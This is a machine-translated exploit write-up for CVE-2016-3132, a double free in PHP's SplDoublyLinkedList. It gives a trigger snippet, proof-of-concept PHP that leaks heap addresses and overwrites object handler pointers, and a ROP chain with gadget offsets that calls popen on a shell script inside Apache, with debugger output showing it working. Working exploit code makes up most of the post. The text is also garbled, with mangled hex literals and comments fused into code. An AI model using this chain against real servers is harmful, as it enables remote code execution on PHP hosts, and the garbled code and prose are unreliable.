Tinker Bell · 2016/05/19 14:28

0 x00 profile


Double Free in Standard PHP Library Double Link List [CVE-2016-3132]

The article details the cause of the leak

#! php <? php $var_1=new SplStack(); $var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime will be double-freedCopy the code

SplDoublyLinkedList: : offsetSet (mixed $index, mixed $newval) fails, the object will be free twice. Skip the details, this vulnerability to continue to exploit, you must look at the PHP source code for heap management routines.

All you need to know is that the size of the SplFixedArray object in question makes it exist in a Freelist maintained by PHP itself. If a block of memory runs out of reference counts, PHP simply points the next pointer to a freelist to that block of memory, and that’s it. If a double free occurs, a freelist in PHP would look like this:

This means that the next two memory requests, the two objects will overlap

It’s time to go back to the routine, overlap string types, modify length, read and write over boundaries.

#! cpp typedef struct _spl_fixedarray_object { /* {{{ */ struct _zend_string { spl_fixedarray *array; zend_refcounted_h gc; zend_function *fptr_offset_get; zend_ulong h; /* hash value */ zend_function *fptr_offset_set; size_t len; zend_function *fptr_offset_has; char val[1]; zend_function *fptr_offset_del; }; zend_function *fptr_count; int current; int flags; zend_class_entry *ce_get_iterator; zend_object std; } spl_fixedarray_object; / * * /}}}Copy the code

Of course, careful memory layout is still necessary, such as applying a large amount of memory continuously, so that the area to be operated on is clean and continuous

Finally, the ideal situation is that the length of the string to be changed is followed by a neatly arranged SplFixedArray

Things you can do are:

  1. Read the following pointer to the heap out of bounds to obtain its real address, and the mapping to the array cursor
  2. Writes a function pointer to a subsequent object out of bounds to the previously fetched address, that is, the address of the array

Hijacking $rip by filling an array with its contents

This is the end of the article, poC goes to 0xdeadbeef

#! php function exception_handler($exception) { global $z; $s=str_repeat('C',0x48); $t=new SplFixedArray2(5); $t[0]='Z'; unset($z[22]); unset($z[21]); $heap_addr=read_ptr($s,0x58); print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n"; $heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300; print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n"; //Set Handlers write_ptr($s,$heap_addr_of_fake_handler,0x40); / / Set fake handler write_ptr ($s, 0 x40, 0 x300); / / handler. Offset write_ptr (x308 x4141414141414141 $s, 0, 0). //handler.free_obj write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj str_repeat('z',5); unset($t); //BOOM! }Copy the code

0x01 Actual Test


The demo is just a demo, not a practical one, and there is no way this hole could be successfully utilized in a real production environment

Here, [email protected], really useful!

  • Apache / 2.4.18
  • PHP 7.0.4

In Apache, PHP is loaded as.so, just like liBC, so it is fully protected

  • CANARY : ENABLED
  • FORTIFY : ENABLED
  • NX : ENABLED
  • PIE : ENABLED
  • RELRO : FULL

Don’t panic. There’s more to it than that

In addition to reading the address of the heap block, we can also read the address of the function pointer list of the object

The address in the same bin file is relatively fixed, and the address randomization just passes.

#! php $push_rax=0x000000000033a9f3+$aslr_offset; // push rax; stc; jmp qword ptr [rax + 0x36]; $pop_rsp=0x00000000000d3923+$aslr_offset; //pop rsp; pop r13; ret; $sub_rsp=0x0000000000106abe+$aslr_offset; // sub rsp, -0x80; pop rbx; ret; $pop_rsi=0x00000000000094e8+$aslr_offset; // pop rsi; ret; $pop_rdi=0x00000000000d3b2f+$aslr_offset; // pop rdi; ret; $pop_rbp=0x00000000000d3925+$aslr_offset; // pop rbp; ret; $p_popen=0x00000000000d2580+$aslr_offset; //popen //Set Handlers write_ptr($s,$heap_addr_of_fake_handler,0x40); //Set fake handler write_ptr($s,$aslr_offset,0x300); //heap_addr_of_fake_handler and [rax] is here! X4141414141414141 write_ptr ($s, 0, 0 x300 + 0 x48); X0000000000000072 write_ptr ($s, 0, 0 x300 + 0 x50); //"r" write_ptr($s,0x732e612f706d742f,0x300+0x58); / / "/ TMP/a.s h" write_ptr (x0000000000000068 $s, 0, 0 x300 + 0 x60); write_ptr($s,$push_rax,0x300+0x10); write_ptr($s,$pop_rsp,0x300+0x36); write_ptr($s,$sub_rsp,0x300+0x8); //now,rsp=rax+0x98 write_ptr($s,$pop_rsp,0x300+0x98); Write_ptr ($s, $heap_addr_of_fake_handler x100 0, 0 x300 + 0 xa0); //now,rsp=rax-0xf0 write_ptr($s,$pop_rsi,0x300-0xf8); Write_ptr ($s, $heap_addr_of_fake_handler x50 + 0, 0 x300-0 xf0); write_ptr($s,$pop_rdi,0x300-0xe8); Write_ptr ($s, $heap_addr_of_fake_handler x58 + 0, 0 x300-0 xe0-0xfc); write_ptr($s,$pop_rbp,0x300-0xd8); Write_ptr ($s, $heap_addr_of_fake_handler xb8 0, 0 x300-0 xd0); //now rsp=rax-0xc0,rbp=rax-0xb8 write_ptr($s,$p_popen,0x300-0xc8);Copy the code

Very messy ROP should have all, including the stack frame to point to the memory heap, easy to do.

#! bash [----------------------------------registers-----------------------------------] RAX: 0x7fc6edc6ebd8 --> 0x7fc6f218a000 --> 0x10102464c457f RBX: 0x0 RCX: 0x16 RDX: 0xc4f352ef5bf0be4a RSI: 0x7fc6edc6ec28 --> 0x72 ('r') RDI: 0x7fc6edc6ec30 ("/tmp/a.sh") RBP: 0x7fc6edc6eb20 --> 0x0 RSP: 0x7fc6edc6eb18 --> 0x0 RIP: 0x7fc6f52fa540 (<_IO_new_popen>: push r12) R8 : 0x20 (' ') R9 : 0x0 R10: 0x2 R11: 0x38 ('8') R12: 0x7fc6f2798c1c --> 0x0 R13: 0x7fc6f27ae8c0 --> 0x40 ('@') R14: 0x7fc6edc12030 --> 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12) R15: 0x7fc6e7458f70 --> 0x7fc6f2451a00 (push r12) EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fc6f52fa530 <_IO_new_proc_open+848>:  jmp 0x7fc6f52fa4da <_IO_new_proc_open+762> 0x7fc6f52fa532: nop DWORD PTR [rax+0x0] 0x7fc6f52fa536: nop WORD PTR cs:[rax+rax*1+0x0] => 0x7fc6f52fa540 <_IO_new_popen>: push r12 0x7fc6f52fa542 <_IO_new_popen+2>: push rbp 0x7fc6f52fa543 <_IO_new_popen+3>: mov rbp,rdi 0x7fc6f52fa546 <_IO_new_popen+6>: push rbx 0x7fc6f52fa547 <_IO_new_popen+7>: mov edi,0x100 [------------------------------------stack-------------------------------------] 0000| 0x7fc6edc6eb18 --> 0x0 0008| 0x7fc6edc6eb20 --> 0x0 0016| 0x7fc6edc6eb28 --> 0x0 0024| 0x7fc6edc6eb30 --> 0xc01a000800000001 0032| 0x7fc6edc6eb38 --> 0x1b 0040| 0x7fc6edc6eb40 --> 0x56478a526ed0 --> 0x1 0048| 0x7fc6edc6eb48 --> 0x7fc6f27ae8c0 --> 0x40  ('@') 0056| 0x7fc6edc6eb50 --> 0x0 [------------------------------------------------------------------------------] Legend: Code, data, rodata, value Thread 2.1 "apache2" hit Breakpoint 1, _IO_new_popen (command= 0x7fc6edC6ec30 "/ TMP /a.sh", mode=0x7fc6edc6ec28 "r") at iopopen.c:273Copy the code

Don’t forget that $RSP and $RBP need to be set otherwise popen will not execute successfully.

Finally, there are two points:

[bug Mc-10866] – POC read_ptr fails to read the address without a 0 in between

Thanks to Phithon and Pythagorean for providing the correct version of the function

#! php function read_ptr(&$mystring,$index=0,$little_endian=1){ $s = ""; for($i = 1; $i <= 8; $i++) { $s .= str_pad(dechex(ord($mystring[$index+(8-$i)])), 2, '0', STR_PAD_LEFT); } return hexdec($s); }Copy the code

In addition, the popen function is used for the final shellcode action because it provides the address in the PLT of libphp.so. If you want to use system, you have to go to liBC to find the address of one more module, which will be more trouble and instability.

Although the shellcode is successfully executed in this paper, the practical significance is still limited, because there are too many versions of phplib.so, and in many cases they are compiled by themselves. The relative positions of different so files function table will be different, so the calculation matrix will be wrong. Of course, the roP was all wrong.

PHP version, gliBC version is not enough, use gliBC roP! Use glibc to find the system function.

Unless the array can be overridden to read a glibc address, libphp.so will be needed anyway.

We’re on horseback.